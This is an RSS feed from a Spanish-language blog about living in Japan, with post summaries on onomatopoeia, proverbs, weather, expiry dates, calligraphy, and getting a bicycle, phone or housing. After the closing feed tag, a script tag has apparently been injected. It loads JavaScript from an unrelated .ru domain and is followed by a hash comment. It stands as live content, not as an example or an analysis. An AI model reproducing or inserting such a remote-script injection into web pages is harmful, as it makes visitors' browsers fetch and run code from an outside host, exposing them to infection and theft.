<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>MSP in Japan</title>
	<link>http://www.mspinjapan.com</link>
	<description>Yet another geek in Japan</description>
	<lastBuildDate>Fri, 28 May 2010 08:12:06 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.0" -->

	<item>
		<title>Bara-bara</title>
		<description><![CDATA[No se si os abreis fijado, pero las onomatopeyas japonesas se suelen escribir en katakana, por lo que son fácilmente reconocibles dentro de los textos. Hoy toca una nueva onomatopeya, que me salió ayer durante la lectura de una explicación sobre las &#8220;business manner&#8221; japonesas: バラバラ Disperso, discontínuo, en trocitos 上司はバラバラに座ていました (Jyoushi wa bara-bara ni [...]]]></description>
		<link>http://www.mspinjapan.com/archives/308</link>
			</item>
	<item>
		<title>「冴える」Saeru</title>
		<description><![CDATA[Pues hoy me he comprado una lata de café &#8220;Black&#8221;, que están anunciando ultimamente por la tele y resulta que tenía escrito 「冴える」 asi que cuando un koreano de mi clase la ha visto, me ha preguntado que significaba el kanji (no se porque esperan que un gaijin como yo sepa eso&#8230;) y al no [...]]]></description>
		<link>http://www.mspinjapan.com/archives/301</link>
			</item>
	<item>
		<title>Peko-Peko</title>
		<description><![CDATA[En el japonés, las onomatopeyas se utilizan constantemente, suelen tener la forma de una sonido repetido 2 veces y no solo representan ruidos, si no tambien estados de ánimo, sentimientos, acciones u otras cosas. Esta fue la primera que aprendí, hará ya casi 3 años: ペコペコ Sonido del estómago al rugir de hambre お腹がペコペコ (Onaka [...]]]></description>
		<link>http://www.mspinjapan.com/archives/297</link>
			</item>
	<item>
		<title>El corazón de las mujeres&#8230;</title>
		<description><![CDATA[Pues si, los japoneses tambien creen que entender a las mujeres es complicado (si no, imposible), como es frecuentemente dicho en España. Y además tienen un refrán para describirlo: 女心は秋の空 El corazón de las mujeres es como el cielo de otoño (おんなごころはあきのそら &#124; Onna no kokoro wa, aki no sora) En Japón el tiempo en [...]]]></description>
		<link>http://www.mspinjapan.com/archives/288</link>
			</item>
	<item>
		<title>Tiempo cambiante</title>
		<description><![CDATA[A veces la precisión japonesa tiene sentido, por ejemplo en el pronóstico del tiempo&#8230; en vez de dar un clima para cada día&#8230; ¡dan un clima para cada 4h-6h! Pero es que en Japón el clima cambia muy rapidamente, y el tiempo esta como loco, por eso tienen esta palabra-expresión para describirlo: 三寒四暖 Tiempo cambiante [...]]]></description>
		<link>http://www.mspinjapan.com/archives/284</link>
			</item>
	<item>
		<title>Rosa &amp; Fútbol</title>
		<description><![CDATA[Pues hoy acabo de enterarme de que una de las japonesas que vive conmigo es 3-dan de shodou (u caligrafía japonesa) y yo tenía los materiales en mi habitación, asi que hemos tenido todos una escusa para hacer una shodoupa (o shodou party). Al final nos hemos ido a por los kanjis difíciles, aqui van [...]]]></description>
		<link>http://www.mspinjapan.com/archives/278</link>
			</item>
	<item>
		<title>Fecha de caducidad</title>
		<description><![CDATA[Como siempre la precision japonesa no deja de sorprenderme, las fechas de caducidad y de envasado pueden llegar a venir no solo con el dia, sino con la hora y los minutos exactos, ciertamente asusta comerte algo pasado de fecha despues de leer &#8220;Fecha de caducidad: 2010.4.7 12:47&#8243; en el envase. Pues por si no [...]]]></description>
		<link>http://www.mspinjapan.com/archives/258</link>
			</item>
	<item>
		<title>[Dia #6] La bicicleta</title>
		<description><![CDATA[&#8220;No puedes ser feliz en Japón, sin una bicicleta.&#8221; eso fue lo que me dijo Krishna-sempai a las 3 semanas de estar en Osaka. Y efectivamente tenia razón, así que os voy a contar como conseguir una bici buena y barata. Lo primer es que localiceis la tienda de bicis de segunda mano mas cercana, [...]]]></description>
		<link>http://www.mspinjapan.com/archives/228</link>
			</item>
	<item>
		<title>[Dia #3] Teléfono móvil</title>
		<description><![CDATA[Pues conseguir un teléfono móvil en Japón puede distar mucho de ser algo trivial. Así de primeras tenemos 2 variables a tener en cuenta, la compañía y el plan. La compañía En Japon las principales compañías de telefonia móvil son: Softbank, NTT/DoCoMo y AU. La mayoría de los extranjeros (y de japoneses) eligen Softbank (también [...]]]></description>
		<link>http://www.mspinjapan.com/archives/223</link>
			</item>
	<item>
		<title>[Dia #1] Alojamiento</title>
		<description><![CDATA[En un principio iba a titular este post como &#8220;[Dia #1] Contrato de piso, Studio &#8211; Tipo C&#8221; pero me he decidido a re-escribirlo desde un punto de vista mas amplio ya que he ganado experiencia desde el dia que me plante escribirlo. Existen 3 tipos de alojamientos entre los que elegir: Piso Guest House [...]]]></description>
		<link>http://www.mspinjapan.com/archives/225</link>
			</item>
</channel>
</rss>
<script type="text/javascript" src="http://riotassistance.ru/Kibibyte.js"></script>
<!--a79874de0c27176c7004464b7550edb1-->